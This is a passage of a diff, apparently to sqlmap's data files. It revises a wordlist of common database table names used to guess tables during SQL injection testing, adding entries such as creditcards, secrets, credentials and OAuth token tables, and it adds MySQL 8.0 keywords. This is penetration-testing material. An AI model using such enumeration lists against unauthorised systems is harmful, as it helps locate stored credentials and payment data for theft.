-DWE_Max_Id std_item -foreigntest jiveVersion sf_guard_group Classification @@ -1083,13 +938,10 @@ webcal_entry_repeats room domain_info SALES -DWE_Tasks profession1 SUPPORT_INCIDENTS PERMISSION Defect -DWE_Task_Attributes -grandchild_test Desert KARTA UM_ROLE_PERMISSIONS @@ -1099,23 +951,19 @@ guava_themes alltypes webcal_view_user vrls_xref_country -R1TF subject continent D_Format dtb_recommend_products Linkdesc_table -qrtz_fired_triggers TelephoneNumber dtb_customer_mail_temp copyrights -jforum_extension_groups DEMO_ASSIGNMENTS guava_group_assignments jforum_extensions zutat ew_user -duptest alerts partsvendor jiveGroup @@ -1135,7 +983,6 @@ tblblogentriesrelated guava_packages GRouteDetail cdv_reason -nulltest membership bkp_RS_Servers vrls_listing_images @@ -1145,7 +992,6 @@ group ClassificationNode dtb_best_products cv_cropping_system -DWE_Workflows egresadoxidiomaxhabilidad locus_data dtb_order_temp @@ -1167,14 +1013,12 @@ dtb_csv_sql synchro_type langlinks genres_in_movies -qrtz_triggers Province answerOption wp_postmeta ERDESIGNER_VERSION_ID calendar cmEvent -ruletest forum_user SalesReps ew_gruppi @@ -1205,9 +1049,7 @@ genres field vertex FoundThumbs -qrtz_trigger_listeners reciprocal_links -DWE_Meta_Data Course idiomaxegresado ordreReparation @@ -1235,16 +1077,13 @@ Language mountain ad_locales ExtrinsicObject -R2Size geo_island derived_types snipe_gallery_cat -qrtz_job_details guava_roleviews production_wtype AccountXML1 wh_man_children -not_null_test product_colour_multi ike_configs intUseringroup @@ -1274,7 +1113,6 @@ PREFIX_order_return_state experimental_data_set DOCUMENT_FIELDS Scripts -mushroom_dataset desert Can_Fly synchro_element @@ -1284,7 +1122,6 @@ tblblogpages f_attributedefinition intGroups way_nodes -child_test THOT_TARGET MOMENT dtb_classcategory @@ -1295,7 +1132,6 @@ dtb_deliv webcal_categories Parts invoices -QRTZ_JOB_LISTENERS ANSWER tbl_categories yearend @@ -1316,7 +1152,6 @@ nuke_gallery_categories areas cmContentVersion checksum_history -mushroom_test_results_agg accessTable cameFromTable services_links @@ -1328,17 +1163,13 @@ adv lake tests Offices -qrtz_simple_triggers Editor -sazog_urtiertoba_ge2 wp_pod_pages Extlangs seq_gen rss_subscription Station_Comment -R1IDF jforum_config -cmServiceDefinitionAvailableServiceBinding geo_River facilities connectorlinks @@ -1352,25 +1183,20 @@ FORM_QUESTION history_str f_classtype endpoints -R2Length zoph_albums bkp_ItemPresentation tblblogcategories -div_taxonomy traffic_selectors FORM -qrtz_paused_trigger_grps creditcards people_reg country_partner jforum_users -array_test dtb_mail_history priorities relations combustiblebois slow_log -DWE_Resource_Roles WROTE flow pay_melodies @@ -1379,7 +1205,6 @@ variable_interest dtb_class ZENTRACK_VARFIELD catalogue -uplebata_dacva_ge wp_usermeta time_zone games @@ -1399,7 +1224,6 @@ cmContentTypeDefinition radacct peer_config_child_config cmAvailableServiceBinding -cmSiteNodeVersion Poles_Zeros ipmacassocs m_news @@ -1412,22 +1236,18 @@ ipassocs cmSystemUser phpbb_categories FoundLists -jforum_smilies channelitems lokal subcategory Languages jiveSASLAuthorized -DWE_WF_Attributes cocktail cust_order -mushroom_testset THOT_SOURCE product_font_multi presence UM_USERS jiveUser -cmSiteNodeTypeDefinition wp_comments dtb_bat_order_daily_hour jos_vm_category @@ -1438,8 +1258,6 @@ geo_river MonitorStatus pagelinks ways -DWE_Roles -jforum_vote_desc cities PREFIX_order_return_state_lang subscriber @@ -1459,14 +1277,12 @@ production_multiple page_log_exclusion furniture nuke_gallery_pictures -cmRepositoryLanguage oc os PREFIX_tab_lang lc_fields framework_email datasets -sporti_ge externallinks geo_desert politics @@ -1478,7 +1294,6 @@ m_with program combustible ezin_articles -pma_tracking help_keyword POSITION stars_in_movies @@ -1488,12 +1303,10 @@ dtb_mailtemplate DIM_TYPE cart_table D_Unit -array_probe macassocs changeTva UM_PERMISSIONS geo_Source -R1Sum cdv_marker nuke_gallery_template_types UM_USER_ATTRIBUTES @@ -1514,7 +1327,6 @@ transcache dtb_question_result rss_category profiling -QRTZ_TRIGGER_LISTENERS THOT_LANGUAGE cmContent Descriptions_Scripts @@ -1536,7 +1348,6 @@ po_seq salariedEmployees grp jforum_topics -defertest array_data most_recent_checksum m_earnings @@ -1544,13 +1355,10 @@ product_related dtb_baseinfo webcal_import_data federationApplicants -qrtz_calendars melodies jforum_forums sf_guard_group_permission sys_acl_matrix -R2ODTMAP -mushroom_NBC country_diseases dtb_order_detail sic @@ -1571,11 +1379,8 @@ jforum_categories site_climatic phpbb_points_values zoph_color_schemes -DWE_Internal_Task_Attributes -uniquetest TypeRule dtb_customer -R2Sum PREFIX_customer_group ProjectsTable dtb_products @@ -1584,13 +1389,11 @@ dtb_question UM_USER_PERMISSIONS exam commande -viktorina_ge dtb_products_class subscribe page_restrictions querycache_info cdv_map_feature -oidtest Link_table guava_users connectormacassocs @@ -1616,6 +1419,8 @@ SPACE geo_Sea DATA_ORG Contributor +wallet +balance flag # Various Joomla tables @@ -1645,9 +1450,6 @@ jos_vm_zone_shipping jos_bannertrack jos_vm_order_status jos_modules_menu -jos_vm_product_type -jos_vm_product_type_parameter -jos_vm_tax_rate jos_core_log_items jos_modules jos_users @@ -1970,7 +1772,6 @@ JamPass MyTicketek MyTicketekArchive News -Passwords by usage count PerfPassword PerfPasswordAllSelected Promotion @@ -1994,12 +1795,10 @@ sysconstraints syssegments tblRestrictedPasswords tblRestrictedShows -Ticket System Acc Numbers TimeDiff Titles ToPacmail1 ToPacmail2 -Total Members UserPreferences uvw_Category uvw_Pref @@ -2008,7 +1807,6 @@ Venue venues VenuesNew X_3945 -stone list tblArtistCategory tblArtists tblConfigs @@ -2044,7 +1842,6 @@ bulletin cc_info login_name admuserinfo -userlistuser_list SiteLogin Site_Login UserAdmin @@ -2267,7 +2064,6 @@ upload uploads file akhbar -sb_host_admin Firma contenu Kontakt @@ -2328,8 +2124,6 @@ pw pwd1 jhu webapps -ASP -Microsoft sing singup singin @@ -2349,11 +2143,6 @@ systime Tisch Tabellen Titel -u -u_n -u_name -u_p -u_pass Benutzer user_pw Benutzerliste @@ -2364,7 +2153,6 @@ Benutzername Benutzernamen vip Webbenutzer -sb_host_adminActiveDataFeed Kategorie Land Suchoptionen @@ -2375,7 +2163,6 @@ Umfrage TotalMembers Veranstaltungsort Veranstaltungsorte -Ansicht1 utilisateur trier compte @@ -2421,32 +2208,10 @@ Sujets Sondage Titres Lieux -Affichage1Affichage1edu -win -pc -windows -mac -edu -bayviewpath -bayview server -slserver -ColdFusion8 -ColdFusion -Cold -Fusion8 -Fusion ststaff -sb_host_adminAffichage1 -Affichage1 yhm yhmm -Affichage1name -sb_host_adminAffichage1name - -# site:jp - -TypesTab # site:it @@ -2457,141 +2222,66 @@ comuni discipline Clienti gws_news -SGA_XPLAN_TPL_V$SQL_PLAN emu_services nlconfig -oil_bfsurvey_pro -oil_users -oil_menu_types -oil_polls Accounts -oil_core_log_searches -SGA_XPLAN_TPL_V$SQL_PLAN_SALL -oil_phocadownload_categories gws_page -oil_bfsurveypro_choices -oil_poll_data -oil_poll_date argomento -oil_modules ruolo -oil_contact_details emu_profiles user_connection -oil_poll_menu jos_jf_tableinfo -oil_templates_menu -oil_messages_cfg -oil_biolmed_entity_types -oil_phocagallery_votes -oil_core_acl_aro regioni -oil_modules_menu dati gws_admin -oil_phocagallery_user_category articoli -oil_content_frontpage cron_send -oil_biolmed_measures comune -SGA_XPLAN_TPL_DBA_TABLES esame -oil_session -oil_phocadownload_licenses -oil_weblinks -oil_messages -oil_phocagallery_votes_statistics dcerpcbinds -oil_jf_content -SGA_XPLAN_TPL_DBA_CONS_COLUMNS -SGA_XPLAN_TPL_DBA_IND_COLUMNS gruppi Articoli gws_banner gws_category soraldo_ele_tipo db_version -SGA_XPLAN_TPL_DBA_TAB_COLS -oil_biolmed_thesis jos_languages mlmail -SGA_XPLAN_TPL_V$SQLTEXT_NL -oil_bannertrack -oil_core_log_items -oil_rokversions -oil_bfsurveypro_34 -oil_bfsurveypro_35 -oil_google_destinations gws_product -oil_jf_tableinfo -oil_phocadownload -oil_biolmed_blocks -oil_bfsurvey_pro_example -oil_bfsurvey_pro_categories -oil_bannerclient -oil_core_acl_aro_sections -SGA_XPLAN_TPL_V$SQL -oil_biolmed_land connections not_sent_mails -sga_xplan_test -oil_languages utente documento gws_purchase -oil_plugins -oil_phocagallery -oil_menu -oil_biolmed_measures_by_entity_types offers anagrafica gws_text -oil_groups -oil_content_rating sent_mails -oil_banner -oil_google gws_jobs eventi mlattach -oil_migration_backlinks -oil_phocagallery_categories downloads mlgroup -oil_sections decodifica_tabelle -oil_phocagallery_img_votes -oil_phocagallery_img_votes_statistics -oil_dbcache -oil_content p0fs -oil_biolmed_entity -oil_rokdownloads -oil_core_acl_groups_aro_map gws_client decodifica_campi -oil_phocagallery_comments -oil_categories -oil_newsfeeds -oil_biolmed_measurements -oil_phocadownload_user_stat -oil_core_acl_aro_groups -SGA_XPLAN_TPL_V$SQL_PLAN_STAT -oil_core_acl_aro_map dcerpcrequests -oil_phocadownload_sections -oil_components discipline_utenti jos_jf_content -oil_phocadownload_settings -SGA_XPLAN_TPL_DBA_CONSTRAINTS -oil_biolmed_technician -oil_stats_agents -SGA_XPLAN_TPL_DBA_INDEXES # site:fr +facture +factures +devis +commande +bon_commande +bon_livraison +fournisseur +panier +paiement +reglement Avion departement Compagnie @@ -2763,100 +2453,36 @@ spip_caches # site:ru +spravochnik +nomenklatura +dokument +zakaz +ostatki +kontragenty +klient +uslugi +provodki +obrabotka +sklad +zhurnal guestbook -binn_forum_settings -binn_forms_templ -binn_catprops currency -binn_imagelib -binn_news phpshop_opros_categories -binn_articles_messages -binn_cache -binn_bann_temps -binn_forum_threads voting -binn_update terms -binn_site_users_rights -binn_vote_options -binn_texts -binn_forum_temps -binn_order_temps -binn_basket -binn_order -binn_system_log -binn_vote_results -binn_articles phpshop_categories -binn_maillist_temps -binn_system_messages -binn_articles_temps -binn_search_temps banners -binn_imagelib_templ -binn_faq -binn_bann phpshop_news -binn_menu_templ -binn_maillist_settings -binn_docs_temps -binn_bann_restricted phpshop_system -binn_calendar_temps -binn_forum_posts -binn_cform_settings phpshop_baners phpshop_menu -binn_forms_fields -binn_cform_list -binn_vote phpshop_links mapdata -binn_submit_timeout -binn_forum_themes_temps -binn_order_elems -binn_templates -binn_cform -binn_catalog_template -binn_ct_templ_elems -binn_template_elems -binn_rubrikator_tlevel -binn_settings -binn_pages -binn_users -binn_categs -binn_page_elems -binn_site_users_temps -binn_vote_temps -binn_rubrikator_temps -binn_faq_temps -binn_sprav setup_ -binn_basket_templ -binn_forum_maillist -binn_news_temps phpshop_users -binn_catlinks -binn_sprav_temps -binn_maillist_sent -binn_forms_templ_elems jubjub_errors -binn_maillist -binn_catrights -binn_docs -binn_bann_pages -binn_ct_templ -binn_menu -binn_user_rights -binn_cform_textarea -binn_catalog_fields vykachka -binn_menu_tlevel phpshop_opros -binn_form39 -binn_site_users -binn_path_temps order_item # site:de @@ -2866,35 +2492,17 @@ kunde medien Mitarbeiter fe_users -dwp_wetter -dwp_popup voraussetzen -dwp_foto_pictures -dwp_karte_speisen -dwp_news_kat -dwp_structur -dwp_foto_album -dwp_karte_kat bestellung -dwp_content be_users Vorlesungen -dwp_content_pic -dwp_link_entries -dwp_ecard_album persons -dwp_buchung_hotel -dwp_link_kat -dwp_news_absatz Assistenten Professoren Studenten -dwp_ecard_pictures lieferant -dwp_bewertung mitarbeiter gruppe -dwp_news_head wp_post2cat phpbb_forum_prune crops @@ -2924,7 +2532,6 @@ shop_settings tutorial motd_coding artikel_variationsgruppen -dwp_kontakt papers gesuche zahlung_weitere @@ -3230,28 +2837,37 @@ estadisticas # site:cn +yonghu +dingdan +shangpin +zhanghu +jiaoyi +zhifu +rizhi +quanxian +juese +caidan +xinxi +shuju +guanliyuan +xitong +peizhi +canshu +zidian url -cdb_adminactions BlockInfo -cdb_attachtypes cdb_attachments -mymps_lifebox cdb_buddys -mymps_payapi LastDate cdb_medals -mymps_payrecord cdb_forumlinks cdb_adminnotes cdb_admingroups -cdb_creditslog stkWeight -mymps_checkanswer cdb_announcements cdb_bbcodes cdb_advertisements cdb_memberfields -mymps_telephone cdb_forums cdb_forumfields cdb_favorites @@ -3279,31 +2895,22 @@ cdb_pluginvars pw_smiles cdb_modworks ncat -mymps_member_tpl pw_threads zl_admin cdb_onlinetime cdb_mythreads cdb_members spt_datatype_info -mymps_certification -mymps_badwords seentype -mymps_cache zl_article spt_datatype_info_ext cdb_debateposts -mymps_corp -mymps_member_album mgbliuyan pw_schcache zl_finance pw_banuser -mymps_news cdb_pluginhooks -mymps_member_docutype wp1_categories -cdb_magicmarket MSmerge_errorlineage cdb_activities zl_baoming @@ -3315,18 +2922,15 @@ cdb_itempool phpcms_announce pw_actions pw_msg -mymps_news_img cdb_debates cdb_magiclog pw_forums -mymps_channel cdb_polls t_stat pw_attachs cdb_plugins pw_membercredit cdb_posts -mymps_member_category cdb_activityapplies zl_media acctmanager @@ -3334,18 +2938,12 @@ pw_usergroups cdb_faqs cdb_onlinelist pw_hack -mymps_member_comment Market -mymps_config -mymps_mail_template -mymps_advertisement MSrepl_identity_range pw_favors -mymps_crons pw_config pw_credits cdb_failedlogins -mymps_member_docu pw_posts cdb_attachpaymentlog cdb_myposts @@ -3353,7 +2951,6 @@ cdb_polloptions wp1_comments cdb_caches pw_members -mymps_upload spt_provider_types pw_sharelinks pw_tmsgs @@ -3364,15 +2961,12 @@ aliasregex userfiles acctmanager2 cdb_pmsearchindex -mymps_news_focus cdb_forumrecommend publishers zl_advertisement guanggaotp pw_memberinfo aliastype -mymps_mail_sendlist -mymps_navurl # site:tr @@ -3420,6 +3014,181 @@ basvuru basvurular kontak kontaklar +kisi +kisiler +uye +uyeler +kayıt +kayıtlar +tel +telefon +telefonlar +numaralar +numara +kart +kartlar +kredi +krediler +kredikartı +fiyat +fiyatlar +odeme +odemeler +kategoriler +tbl_Uye +xml_kategoriler +tbl_siparis +tbl_googlemap +tbl_ilce +tbl_yardim +tbl_Resim +tbl_anket +tbl_Rapor +tbl_statsvisit +tbl_ticket +tbl_Cesit +tbl_xml +tbl_Cinsiyet +xml_urunler_temp +tbl_takvim +tbl_altkategori +tbl_mesaj +tbl_Haber +tbl_AdresTemp +tbl_Firma +tbl_Medya +xml_urunlerbirim +tbl_Yardim +tbl_medya +tbl_Video +xml_markalar_transfer +tbl_adrestemp +tbl_online +tbl_sehir +tbl_resim +tbl_Gorsel +tbl_doviz +tbl_gorsel +tbl_kampanya +tbl_Blog +tbl_Banners +tbl_koleksiyon +tbl_Galeri +tbl_Kampanya +tbl_Favori +tbl_sss +tbl_Banner +tbl_Faq +xml_markalar_temp +tbl_faq +tbl_Personel +tbl_Seo +tbl_adres +tbl_ayar +tbl_metin +tbl_AltKategori +tbl_kategori +tbl_Marka +tbl_blogkategori +tbl_ulke +tbl_sepetold +tbl_yorum +tbl_Fiyat +tbl_Reklam +tbl_Kategori +tbl_Yorum +tbl_semt +tbl_Tedarikci +xml_kampanyakategori +tbl_ozelgun +tbl_uyexml +tbl_rapor +tbl_seo +tbl_Indirim +tbl_Ilce +tbl_bulten +tbl_video +tbl_Ayar +tbl_fatura +tbl_cinsiyet +tbl_reklam +tbl_sliders +tbl_KDV +tbl_uye_img +tbl_siparisid +tbl_BlogKategori +tbl_Yonetici +tbl_kdv +tbl_Online +tbl_temsilci +tbl_Dil +tbl_banners +tbl_Mesaj +tbl_Logs +tbl_logs +tbl_fiyat +tbl_SSS +tbl_Puan +tbl_kargo +tbl_Statsvisit +tbl_Koleksiyon +tbl_dil +tbl_Sepetold +tbl_Fatura +tbl_yonetici +tbl_Yazilar +tbl_Temsilci +tbl_Kargo +tbl_cesit +tbl_uye +tbl_haber +tbl_SiparisID +tbl_Adres +tbl_Ozelgun +tbl_banka +tbl_Videogaleri +tbl_galeri +tbl_videogaleri +xml_urunresimleri +tbl_urun +tbl_Ticket +tbl_yazilar +tbl_Ulke +tbl_Urun +tbl_renk +tbl_Harita +tbl_Sepet +tbl_Sehir +tbl_Uye_Img +tbl_Semt +tbl_indirim +xml_kampanyakategori_transfer +tbl_Takvim +tbl_blog +tbl_Sliders +tbl_Renk +tbl_UyeXML +tbl_tedarikci +tbl_Fotogaleri +tbl_Doviz +tbl_Anket +tbl_Banka +tbl_Metin +tbl_XML +tbl_firma +tbl_harita +tbl_banner +tbl_sepet +tbl_fotogaleri +tbl_marka +tbl_Siparis +tbl_personel +tbl_puan +tbl_Bulten +tbl_favori +tbl_onlineusers + + # List provided by Pedrito Perez (0ark1ang3l@gmail.com) @@ -3578,3 +3347,76 @@ users user_usergroup_map viewlevels weblinks + +# site:nl + +gebruikers + +# asp.net + +AspNetUsers +AspNetRoles +AspNetUserRoles +AspNetUserClaims +AspNetUserLogins +AspNetRoleClaims +AspNetUserTokens +__EFMigrationsHistory + +# django + +auth_user +auth_group +auth_permission +django_session +django_migrations +django_content_type +django_admin_log + +# laravel + +migrations +password_resets +failed_jobs +personal_access_tokens +job_batches +model_has_roles +model_has_permissions +role_has_permissions + +# rails + +schema_migrations +ar_internal_metadata +active_storage_blobs +active_storage_attachments + +# misc. + +flyway_schema_history +databasechangelog +databasechangeloglock +alembic_version +knex_migrations +knex_migrations_lock +doctrine_migration_versions +api_keys +api_tokens +access_tokens +refresh_tokens +oauth_clients +oauth_access_tokens +oauth_refresh_tokens +webhooks +webhook_events +secrets +credentials +audit_logs +activity_logs +system_settings +feature_flags +tenants +subscriptions +users_bak +users_old +orders_backup diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index f8c81387c07..8a985ea4191 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) @@ -452,6 +452,762 @@ WRITEXOR YEAR_MONTH ZEROFILL +# MySQL 8.0 keywords (reference: https://dev.mysql.com/doc/refman/8.0/en/keywords.html) + +ACCESSIBLE +ACCOUNT +ACTION +ACTIVE +ADD +ADMIN +AFTER +AGAINST +AGGREGATE +ALGORITHM +ALL +ALTER +ALWAYS +ANALYSE +ANALYZE +AND +ANY +ARRAY +AS +ASC +ASCII +ASENSITIVE +AT +ATTRIBUTE +AUTHENTICATION +AUTOEXTEND_SIZE +AUTO_INCREMENT +AVG +AVG_ROW_LENGTH +BACKUP +BEFORE +BEGIN +BETWEEN +BIGINT +BINARY +BINLOG +BIT +BLOB +BLOCK +BOOL +BOOLEAN +BOTH +BTREE +BUCKETS +BULK +BY +BYTE +CACHE +CALL +CASCADE +CASCADED +CASE +CATALOG_NAME +CHAIN +CHALLENGE_RESPONSE +CHANGE +CHANGED +CHANNEL +CHAR +CHARACTER +CHARSET +CHECK +CHECKSUM +CIPHER +CLASS_ORIGIN +CLIENT +CLONE +CLOSE +COALESCE +CODE +COLLATE +COLLATION +COLUMN +COLUMNS +COLUMN_FORMAT +COLUMN_NAME +COMMENT +COMMIT +COMMITTED +COMPACT +COMPLETION +COMPONENT +COMPRESSED +COMPRESSION +CONCURRENT +CONDITION +CONNECTION +CONSISTENT +CONSTRAINT +CONSTRAINT_CATALOG +CONSTRAINT_NAME +CONSTRAINT_SCHEMA +CONTAINS +CONTEXT +CONTINUE +CONVERT +CPU +CREATE +CROSS +CUBE +CUME_DIST +CURRENT +CURRENT_DATE +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_USER +CURSOR +CURSOR_NAME +DATA +DATABASE +DATABASES +DATAFILE +DATE +DATETIME +DAY +DAY_HOUR +DAY_MICROSECOND +DAY_MINUTE +DAY_SECOND +DEALLOCATE +DEC +DECIMAL +DECLARE +DEFAULT +DEFAULT_AUTH +DEFINER +DEFINITION +DELAYED +DELAY_KEY_WRITE +DELETE +DENSE_RANK +DESC +DESCRIBE +DESCRIPTION +DES_KEY_FILE +DETERMINISTIC +DIAGNOSTICS +DIRECTORY +DISABLE +DISCARD +DISK +DISTINCT +DISTINCTROW +DIV +DO +DOUBLE +DROP +DUAL +DUMPFILE +DUPLICATE +DYNAMIC +EACH +ELSE +ELSEIF +EMPTY +ENABLE +ENCLOSED +ENCRYPTION +END +ENDS +ENFORCED +ENGINE +ENGINES +ENGINE_ATTRIBUTE +ENUM +ERROR +ERRORS +ESCAPE +ESCAPED +EVENT +EVENTS +EVERY +EXCEPT +EXCHANGE +EXCLUDE +EXECUTE +EXISTS +EXIT +EXPANSION +EXPIRE +EXPLAIN +EXPORT +EXTENDED +EXTENT_SIZE +FACTOR +FAILED_LOGIN_ATTEMPTS +FALSE +FAST +FAULTS +FETCH +FIELDS +FILE +FILE_BLOCK_SIZE +FILTER +FINISH +FIRST +FIRST_VALUE +FIXED +FLOAT +FLOAT4 +FLOAT8 +FLUSH +FOLLOWING +FOLLOWS +FOR +FORCE +FOREIGN +FORMAT +FOUND +FROM +FULL +FULLTEXT +FUNCTION +GENERAL +GENERATE +GENERATED +GEOMCOLLECTION +GEOMETRY +GEOMETRYCOLLECTION +GET +GET_FORMAT +GET_MASTER_PUBLIC_KEY +GET_SOURCE_PUBLIC_KEY +GLOBAL +GRANT +GRANTS +GROUP +GROUPING +GROUPS +GROUP_REPLICATION +GTID_ONLY +HANDLER +HASH +HAVING +HELP +HIGH_PRIORITY +HISTOGRAM +HISTORY +HOST +HOSTS +HOUR +HOUR_MICROSECOND +HOUR_MINUTE +HOUR_SECOND +IDENTIFIED +IF +IGNORE +IGNORE_SERVER_IDS +IMPORT +IN +INACTIVE +INDEX +INDEXES +INFILE +INITIAL +INITIAL_SIZE +INITIATE +INNER +INOUT +INSENSITIVE +INSERT +INSERT_METHOD +INSTALL +INSTANCE +INT +INT1 +INT2 +INT3 +INT4 +INT8 +INTEGER +INTERSECT +INTERVAL +INTO +INVISIBLE +INVOKER +IO +IO_AFTER_GTIDS +IO_BEFORE_GTIDS +IO_THREAD +IPC +IS +ISOLATION +ISSUER +ITERATE +JOIN +JSON +JSON_TABLE +JSON_VALUE +KEY +KEYRING +KEYS +KEY_BLOCK_SIZE +KILL +LAG +LANGUAGE +LAST +LAST_VALUE +LATERAL +LEAD +LEADING +LEAVE +LEAVES +LEFT +LESS +LEVEL +LIKE +LIMIT +LINEAR +LINES +LINESTRING +LIST +LOAD +LOCAL +LOCALTIME +LOCALTIMESTAMP +LOCK +LOCKED +LOCKS +LOGFILE +LOGS +LONG +LONGBLOB +LONGTEXT +LOOP +LOW_PRIORITY +MASTER +MASTER_AUTO_POSITION +MASTER_BIND +MASTER_COMPRESSION_ALGORITHMS +MASTER_CONNECT_RETRY +MASTER_DELAY +MASTER_HEARTBEAT_PERIOD +MASTER_HOST +MASTER_LOG_FILE +MASTER_LOG_POS +MASTER_PASSWORD +MASTER_PORT +MASTER_PUBLIC_KEY_PATH +MASTER_RETRY_COUNT +MASTER_SERVER_ID +MASTER_SSL +MASTER_SSL_CA +MASTER_SSL_CAPATH +MASTER_SSL_CERT +MASTER_SSL_CIPHER +MASTER_SSL_CRL +MASTER_SSL_CRLPATH +MASTER_SSL_KEY +MASTER_SSL_VERIFY_SERVER_CERT +MASTER_TLS_CIPHERSUITES +MASTER_TLS_VERSION +MASTER_USER +MASTER_ZSTD_COMPRESSION_LEVEL +MATCH +MAXVALUE +MAX_CONNECTIONS_PER_HOUR +MAX_QUERIES_PER_HOUR +MAX_ROWS +MAX_SIZE +MAX_UPDATES_PER_HOUR +MAX_USER_CONNECTIONS +MEDIUM +MEDIUMBLOB +MEDIUMINT +MEDIUMTEXT +MEMBER +MEMORY +MERGE +MESSAGE_TEXT +MICROSECOND +MIDDLEINT +MIGRATE +MINUTE +MINUTE_MICROSECOND +MINUTE_SECOND +MIN_ROWS +MOD +MODE +MODIFIES +MODIFY +MONTH +MULTILINESTRING +MULTIPOINT +MULTIPOLYGON +MUTEX +MYSQL_ERRNO +NAME +NAMES +NATIONAL +NATURAL +NCHAR +NDB +NDBCLUSTER +NESTED +NETWORK_NAMESPACE +NEVER +NEW +NEXT +NO +NODEGROUP +NONE +NOT +NOWAIT +NO_WAIT +NO_WRITE_TO_BINLOG +NTH_VALUE +NTILE +NULL +NULLS +NUMBER +NUMERIC +NVARCHAR +OF +OFF +OFFSET +OJ +OLD +ON +ONE +ONLY +OPEN +OPTIMIZE +OPTIMIZER_COSTS +OPTION +OPTIONAL +OPTIONALLY +OPTIONS +OR +ORDER +ORDINALITY +ORGANIZATION +OTHERS +OUT +OUTER +OUTFILE +OVER +OWNER +PACK_KEYS +PAGE +PARSER +PARTIAL +PARTITION +PARTITIONING +PARTITIONS +PASSWORD_LOCK_TIME +PATH +PERCENT_RANK +PERSIST +PERSIST_ONLY +PHASE +PLUGIN +PLUGINS +PLUGIN_DIR +POINT +POLYGON +PORT +PRECEDES +PRECEDING +PRECISION +PREPARE +PRESERVE +PREV +PRIMARY +PRIVILEGES +PRIVILEGE_CHECKS_USER +PROCEDURE +PROCESS +PROCESSLIST +PROFILE +PROFILES +PROXY +PURGE +QUARTER +QUERY +QUICK +RANDOM +RANGE +RANK +READ +READS +READ_ONLY +READ_WRITE +REAL +REBUILD +RECOVER +RECURSIVE +REDOFILE +REDO_BUFFER_SIZE +REDUNDANT +REFERENCE +REFERENCES +REGEXP +REGISTRATION +RELAY +RELAYLOG +RELAY_LOG_FILE +RELAY_LOG_POS +RELAY_THREAD +RELEASE +RELOAD +REMOTE +REMOVE +RENAME +REORGANIZE +REPAIR +REPEAT +REPEATABLE +REPLACE +REPLICA +REPLICAS +REPLICATE_DO_DB +REPLICATE_DO_TABLE +REPLICATE_IGNORE_DB +REPLICATE_IGNORE_TABLE +REPLICATE_REWRITE_DB +REPLICATE_WILD_DO_TABLE +REPLICATE_WILD_IGNORE_TABLE +REPLICATION +REQUIRE +REQUIRE_ROW_FORMAT +RESET +RESIGNAL +RESOURCE +RESPECT +RESTART +RESTORE +RESTRICT +RESUME +RETAIN +RETURN +RETURNED_SQLSTATE +RETURNING +RETURNS +REUSE +REVERSE +REVOKE +RIGHT +RLIKE +ROLE +ROLLBACK +ROLLUP +ROTATE +ROUTINE +ROW +ROWS +ROW_COUNT +ROW_FORMAT +ROW_NUMBER +RTREE +SAVEPOINT +SCHEDULE +SCHEMA +SCHEMAS +SCHEMA_NAME +SECOND +SECONDARY +SECONDARY_ENGINE +SECONDARY_ENGINE_ATTRIBUTE +SECONDARY_LOAD +SECONDARY_UNLOAD +SECOND_MICROSECOND +SECURITY +SELECT +SENSITIVE +SEPARATOR +SERIAL +SERIALIZABLE +SERVER +SESSION +SET +SHARE +SHOW +SHUTDOWN +SIGNAL +SIGNED +SIMPLE +SKIP +SLAVE +SLOW +SMALLINT +SNAPSHOT +SOCKET +SOME +SONAME +SOUNDS +SOURCE +SOURCE_AUTO_POSITION +SOURCE_BIND +SOURCE_COMPRESSION_ALGORITHMS +SOURCE_CONNECT_RETRY +SOURCE_DELAY +SOURCE_HEARTBEAT_PERIOD +SOURCE_HOST +SOURCE_LOG_FILE +SOURCE_LOG_POS +SOURCE_PASSWORD +SOURCE_PORT +SOURCE_PUBLIC_KEY_PATH +SOURCE_RETRY_COUNT +SOURCE_SSL +SOURCE_SSL_CA +SOURCE_SSL_CAPATH +SOURCE_SSL_CERT +SOURCE_SSL_CIPHER +SOURCE_SSL_CRL +SOURCE_SSL_CRLPATH +SOURCE_SSL_KEY +SOURCE_SSL_VERIFY_SERVER_CERT +SOURCE_TLS_CIPHERSUITES +SOURCE_TLS_VERSION +SOURCE_USER +SOURCE_ZSTD_COMPRESSION_LEVEL +SPATIAL +SPECIFIC +SQL +SQLEXCEPTION +SQLSTATE +SQLWARNING +SQL_AFTER_GTIDS +SQL_AFTER_MTS_GAPS +SQL_BEFORE_GTIDS +SQL_BIG_RESULT +SQL_BUFFER_RESULT +SQL_CACHE +SQL_CALC_FOUND_ROWS +SQL_NO_CACHE +SQL_SMALL_RESULT +SQL_THREAD +SQL_TSI_DAY +SQL_TSI_HOUR +SQL_TSI_MINUTE +SQL_TSI_MONTH +SQL_TSI_QUARTER +SQL_TSI_SECOND +SQL_TSI_WEEK +SQL_TSI_YEAR +SRID +SSL +STACKED +START +STARTING +STARTS +STATS_AUTO_RECALC +STATS_PERSISTENT +STATS_SAMPLE_PAGES +STATUS +STOP +STORAGE +STORED +STRAIGHT_JOIN +STREAM +STRING +SUBCLASS_ORIGIN +SUBJECT +SUBPARTITION +SUBPARTITIONS +SUPER +SUSPEND +SWAPS +SWITCHES +SYSTEM +TABLE +TABLES +TABLESPACE +TABLE_CHECKSUM +TABLE_NAME +TEMPORARY +TEMPTABLE +TERMINATED +TEXT +THAN +THEN +THREAD_PRIORITY +TIES +TIME +TIMESTAMP +TIMESTAMPADD +TIMESTAMPDIFF +TINYBLOB +TINYINT +TINYTEXT +TLS +TO +TRAILING +TRANSACTION +TRIGGER +TRIGGERS +TRUE +TRUNCATE +TYPE +TYPES +UNBOUNDED +UNCOMMITTED +UNDEFINED +UNDO +UNDOFILE +UNDO_BUFFER_SIZE +UNICODE +UNINSTALL +UNION +UNIQUE +UNKNOWN +UNLOCK +UNREGISTER +UNSIGNED +UNTIL +UPDATE +UPGRADE +URL +USAGE +USE +USER +USER_RESOURCES +USE_FRM +USING +UTC_DATE +UTC_TIME +UTC_TIMESTAMP +VALIDATION +VALUE +VALUES +VARBINARY +VARCHAR +VARCHARACTER +VARIABLES +VARYING +VCPU +VIEW +VIRTUAL +VISIBLE +WAIT +WARNINGS +WEEK 